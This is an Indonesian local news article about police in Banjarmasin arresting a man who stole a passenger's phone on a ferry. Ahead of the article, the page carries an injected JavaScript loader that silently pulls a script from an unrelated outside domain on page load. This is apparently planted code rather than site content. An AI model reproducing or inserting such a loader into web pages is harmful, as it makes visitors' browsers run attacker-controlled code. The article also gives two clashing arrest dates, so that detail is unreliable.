(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Setahun masuk daftar pencarian orang alis buron, maling ponsel di feri penyeberangan Banjarmasin-Tamban ditangkap polisi, Rabu (9/9/2021) malam.
Mahyudi (39) warga Desa Tamban Bangun RT 01, Kabupaten Batola ditangkap jajaran Satpolair Polresta Banjarmasin.
Ditangkapnya Mahyudi lantaran mencuri satu buah ponsel milik penumpang, Fakhri Ananda (25) di feri penyeberangan Saka Kajang, Tamban, Kabupaten Batola, pada 11 Oktober 2020 silam.
Kasat Polair Polresta Banjarmasin, AKP Cristugus Lirens melalui Kanit Gakkum, Iptu Selamat Riyadi mengatakan, Mahyudi ditangkap tim gabungan dari Timsus Polresta Banjarmasin, Resmob Polda Kalsel, Resmob Batola, Jatanras Polresta Banjarmasin, Buser Polsek Banjarmasin Tengah, Buser Polsek Banjarmasin Utara, dan Buser Polsek Banjarmasin Barat.
Baca juga: PPKM Level 4 Diperpanjang, Wali Kota Aditya Imbau Masyarakat Kurangi Mobilitas
“Benar tersangka sudah diamankan tim gabungan di rumahnya pada Sabtu 4 September 2021 sekitar pukul 23.30 Wita,” terang Kanit Gakkum.
Iptu Selamat Riyadi yang turut memimpin penangkapan ini menjelaskan, pada hari terjadi pencurian ini, pelaku dan korban sama-sama berada di atas feri penyeberangan Berkat Usaha menuju dermaga Saka Kajang, Batola.
“Korban meletakkan ponselnya di samping tempat duduk, setelah sampai di tujuan korban langsung pulang ke rumah, namun lupa membawa ponselnya,” lanjut Iptu Selamat Riyadi.
Sesampainya di rumah, korban baru teringat ponselnya tertinggal di atas kapal.
Ia bergegas kembali ke kapal untuk mencari hp-nya namun tidak ditemukan, lalu menanyakan kepada juragan feri.
Korban lantas mencoba menghubungi nomor ponselnya itu dan diketahui masih aktif, namun tidak diangkat.
Ketika dihubungi kedua kalinya, rupanya nomor ponsel milik korban sudah tidak aktif lagi.
Karena kejadian ini pula, korban kemudian melaporkan ke Sat Polairud Polresta Banjarmasin.
Baca juga: Cuma Dijaga 12 Sipir, Napi Lapas Tangerang Terjebak Kebakaran karena Terkunci dari Dalam
“Pelaku kini sudah kami amankan bersama barang bukti ponsel dan kotak serta nota pembeliannya,” tutup Kanit Gakkum.
Mahyudi pun terancam hukuman maksimal lima tahun kurungan penjara.
(kanalkalimantan.com/chandra)
Reporter : chandra
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.